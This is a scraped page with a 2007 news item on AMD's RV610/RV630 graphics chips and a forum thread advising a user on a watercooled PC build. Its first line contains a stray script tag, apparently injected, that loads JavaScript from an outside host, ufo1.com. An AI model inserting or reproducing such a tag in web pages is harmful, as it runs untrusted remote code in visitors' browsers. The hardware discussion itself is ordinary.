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News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 26/02/07
Author: PV5150
Source: VR-Zone

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Our source has some new details on the RV610 and RV630:

We have revealed some details about RV610 and RV630 earlier and now HKEPC has confirmed our news story and revealed some more juicy info on RV630. It is based on 65nm process, supports 2nd gen. Unified Shader, DX10, SM 4.0, 128-bit memory interface, Dual HDCP engine.

There are 3 variants; GDDR4, GDDR3 and GDDR2 codenamed Kohinoor, Orloff and Sefadu respectively. Konhinoor and Orlooff supports native Crossfire and PCI Express 2.0 but requires 2x3 power connector. Sefadu doesn't support native Crossfire and requires no power connector. RV630 has UVD (Universal Video Decoder) onboard that enhances the current AVIVO technology where Bitstream Processing / Entropy Decode is done by GPU instead of CPU.

RV630 is targeted to perform better than Radeon X1900GT. RV630 will be displayed at CeBIT but performance will not be revealed. There will be card samples based on A13 silicon in March with mass production slated for mid April and launch in May.

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25-02-2007, 21:41:42

weihk
if possible, forget AMD for now.

and for watercooling part, if you really insist in cooling everything in return for a very very quiet rig, then i'd suggest the following.

CPU - Swiftech apogee / D-Tek fuzion (just like Kempez said)

GPU - EK full cover

NB - Swiftech MCW30 (or wait for EK, they are doing NB blocks aswell, see how good they are before order.....)

Mosfet - MIPS / EK(still waiting for EK blocks)

forget memory, HDD cooling, not much point.

1 or 2 DDC ultra pump

Thermochill PA120.3 and a PA120.1 if you somehow end up with quad core and SLi 8800 GTX

and i would use 10/8 hose with compression fittings......simply cause theres so many blocks it's gonna be a low flow system anyway, might aswell go for 10/8, and also, 10/8 have quick release fittings meaning if i wanted to, i can take which ever block out without needing to drain the loop....

hope that help

25-02-2007, 22:02:38

NickS
CPU Block: D-Tek Fuzion
GPU Block(s): 2x Swiftech MCW60's with their Ramsink Kit's for G80
Chipset: Just find a good heatsink if you really want to.
Pump: Swiftech MCP655/Laing D5
Radiator: Thermochill PA120.3 w/6x Yate Loon D12SL-12 (Push Pull)
Tubing: 7/16" Masterkleer

26-02-2007, 02:10:14

PV5150
All of the above recommendations are good. But, it comes down to personal preference:

* D-TECH Fuzion (swiftech apogee GT is too hit and miss personally)
* Eddie EK for full cover or Swifty MCW60 for GPU only (with Swifty ramsinks)
* Thermalright HR-05 or Noctua NC-U6 coolers for NB (you can add a small fan to both if you want improved cooling)
* Swiftech MCP655/Laing D5/Aquaxtreme 50Z
* Thermochill PA120.3 (you don't need fans in push/pull config, but if you do use gaskets to get a better seal)
* Masterkleer is the best tubing for tight bends, which you'll need if you're using SLI'd GTX's.

My setup is almost identical to this apart from the 2 x MCW60's for SLI, and I'm running dual pumps

26-02-2007, 04:15:54

NugentS
On advice from here (and at least one other board - I spent all day yesterday reading various board) I have dropped the AMD and SLI setup.

PC Spec is now C2D 6600 or 6700 (hmm wonder if I can afford 4 cores - Ow)
Single Nvidia 8800GTX - I am not going SLi or Crossfire
Don't know about the motherboard yet - but its not important at this stage.

I intend to use a coolermaster case (801/803) - their 4 into 3 boxes have a fan thats quiet - so I agree the HD is very optional.

Reading a number of boards does tend to indicate that the NB is worth cooling on Intel boards - not so much on AMD boards

I did find one website selling blocks for voltage regulators.......

What I do find curious is the general opinion of the lack of need for memory cooling. Its one of the hotter items out there. Jack the voltage up to 2.1V+ and I can just about burn myself on the heat spreaders.

Based on advice and reading a lot of forums I came up with the following:

Pump: 12V Laing DDC-1T Plus Ultra
GPU: EK-8800GTX
CPU: D-Tek Fuzion
Chipset No Idea - depends on mobo a lot say EK NB4 Intel Northbridge Cooler
Memory Koolance RAM-30-VO6 * 2 (NB. 1/4" / 6mm) or something else
Hard Drive Alphacool Silentstar Dual
Reservoir Some 5.25" slot mounted with visual water level indicator
Coolant Either Feser One or Fluid XP
Case Coolermaster 810 or 830+
Radiator BlackIce GTX III Gen2 Xtreme Triple Radiator + fans
PSU Not sure yet – modular and quiet. I guess 7-800 Watt ought to do a single GPU, watercooled, dual core, overclocked system

Some sort of monitoring system with emergency shutoff, flow monitoring, temperature monitor, fan control, LCD display.
Alphacool t-Balancer bigNG
Analog Extension Set
Waterkit

I would also like some sort of temperature display – but have no idea of what options I have as the t-balancer doesn’t appear to be able to display anything.

I have no real idea whether those components fit together or not.
Most people say substitute the PA120.3 for the BlackIce GTX III. The pump I chose because its got a good pressure although the flow rate is "only" 600l/h. The Laing D5 seems to have a much higher flowrate but I don't know about the pressure and I am aware that many blocks = low flow rate = high pressure required.

weihk - your "and i would use 10/8 hose with compression fittings......simply cause theres so many blocks it's gonna be a low flow system anyway, might aswell go for 10/8, and also, 10/8 have quick release fittings meaning if i wanted to, i can take which ever block out without needing to drain the loop...." seems like an amazingly good idea...

I am assuming that compression fittings / quick release fittings mean that I can disconnect a fitting and it self seals somehow.....

As an additional question... - where do you put the radiator with its 3 * 120mm fans or even 6 * 120mm fans?

Sean

26-02-2007, 05:28:01

PV5150
I would so pass on the koolance V06, and get one of these instead. You really needn't bother with the Silentstar either, save yourself some money. As far as coolant is concerned, Fluid XP is good, but Pentosin / HydrX are just as good and less expensive. Hell, you could just use deionised water and radiator coolant.

[QUOTE=NugentS]I would also like some sort of temperature display...Some sort of monitoring system with emergency shutoff, flow monitoring, temperature monitor, fan control, LCD display.
Alphacool t-Balancer bigNG
Analog Extension Set
Waterkit[/QUOTE]Get yourself a Kama Meter, Webtemp or free temp monitoring proggy. Flow monitoring is expensive business if you want to do it right. I just paid AUS$240 for a flow meter and head pressure gauge for reviews, you really don't need it otherwise. Besides with some simple math you can work out your approximate flow rate anyway.

As an additional question... - where do you put the radiator with its 3 * 120mm fans or even 6 * 120mm fans?

Externally (non-invasive, apart from running tubing through blanking plates) or internally (invasive - usually requiring cutting holes in your case and a lot of room :D)

26-02-2007, 07:02:09

NugentS
First of all thank you to everyone who has responded so far - I have a lot to think about.... and I will have a lot more questions....

However next question. I have on your advice decided to use a C2D processor - so what motherboard should I be using.

At the top end seems to be the Asus Striker Extreme but its very expensive and there is a lot of heat pipe stuff on it that I suspect would need removing in order to water cool the chipset - or I could just not water cool the chipset and add the extra fan onto the heatsink that Asus supply. Would that be enough.
I am not planning on using dual graphics so X-fire / Sli support doesn't matter. I would like a nice stable m/b with good sound and good overclocking potential and with bits in the right place for watercooling...

On the subject of memory cooling - I take your point about flow - so how about this idea (is it really stupid)?
Instead of putting the memory coolers into the main loop - tee off from the main loop, through another pump, through the memory coolers and back to the main loop through another tee. That way the main loop carries the bulk of the flow without the memory block restriction but the second pump would force water through the memory coolers. This pump could be a lot smaller I guess than the main pump.

Current proposed plan:
Pump: D5 tapped to/for 10/8 hose or back to the 12V Laing DDC-1T Plus Ultra
GPU EK-8800GTX
CPU D-Tek Fuzion
Chipset Depends on Mobo – am looking into that now - see above
Memory Ignore for now * See above
Hard Drive Ignore for now
Reservoir 5.25” mounted in case with visual water level indictator
Coolant Fluid XP

Using 10/8 hose with quick release couplings

Sean

26-02-2007, 07:36:06

PV5150
[QUOTE=NugentS]At the top end seems to be the Asus Striker Extreme but its very expensive and there is a lot of heat pipe stuff on it that I suspect would need removing in order to water cool the chipset - or I could just not water cool the chipset and add the extra fan onto the heatsink that Asus supply. Would that be enough.
I am not planning on using dual graphics so X-fire / Sli support doesn't matter. I would like a nice stable m/b with good sound and good overclocking potential and with bits in the right place for watercooling...[/QUOTE]If you were to go for the striker, I would watercool the chipset (the 680i's are extremely toasty). But, there are other motherboards out there that could warrant your attention - ASUS P5B deluxe (965 chipset, faster than 975 and fine with aircooling), DFI ICFX3200T2R/G (again toasty, watercooling would be beneficial). Both very overclock friendly and solid

[QUOTE=NugentS]On the subject of memory cooling - I take your point about flow - so how about this idea (is it really stupid)?
Instead of putting the memory coolers into the main loop - tee off from the main loop, through another pump, through the memory coolers and back to the main loop through another tee. That way the main loop carries the bulk of the flow without the memory block restriction but the second pump would force water through the memory coolers. This pump could be a lot smaller I guess than the main pump.[/QUOTE]Sounds nice, but I dunno if you could find a 'T' connector with 1/2" barb and a 6mm offshoot of the 'T'. I may be wrong. Plus, because water always travels the path of least resistance, I don't know how you'd go feeding that small a line, and the additional pump however small would really be a waste. Your best option is still with the XTC cooler I linked you to before.

26-02-2007, 12:17:20

weihk
hmmmmm.........

if you wait long enough, i'll be doing a watercooled Asus Commando board within a week or two depends on when the blocks are gonna come in.

with regards to Ram cooling, yeah, it can be hot, i run 2.3v on my rams, and they are at 44c most of the time, it isnt THAT bad, if i really want to, i can always put a fan on it to cool them. (note, Cosair does a Ram cooling solution)

and about the T-Balancer, here is a thought, i have mine controlling the fans on my PA120.1 and PA120.3, its temp controlled, meaning i set it up as X-amount of Temp = X-amount of Fan power.

i have 4 inline temp sensor in my loop, 2 before Rad for Fan control and 2 after Rad for my interest in how well the heat is being taken out, you might not need this.

and T-Balancer do have a Auto shut off function, you set a Temp for it to activate.

also, T-Balancer can be very very good, it tells me what my water temp is, what my Ram and Case Air temp is, and if i really want to, can configure it with other 3rd party software to show a whole lot of other temps.

mmmm........thats all i can come up with at the moment......i'll add more later if i come up with anything.......

06-03-2007, 14:27:08

NugentS
The T-Balancer is a must. I design networks for a living and firmly belive in being able to monitor & control...

I am still debating build myself and getting someone to build for me.

Sean

08-03-2007, 13:50:14

NugentS
Thank you to everyone who has helped out with their advice and comments. My decision is made and I am just finalising the details with my chosen supplier. I should be in a position to order everything tommorrow

After it arrives I will be back as I will need some help with overclocking the system - the whole point of the exercise...

Sean
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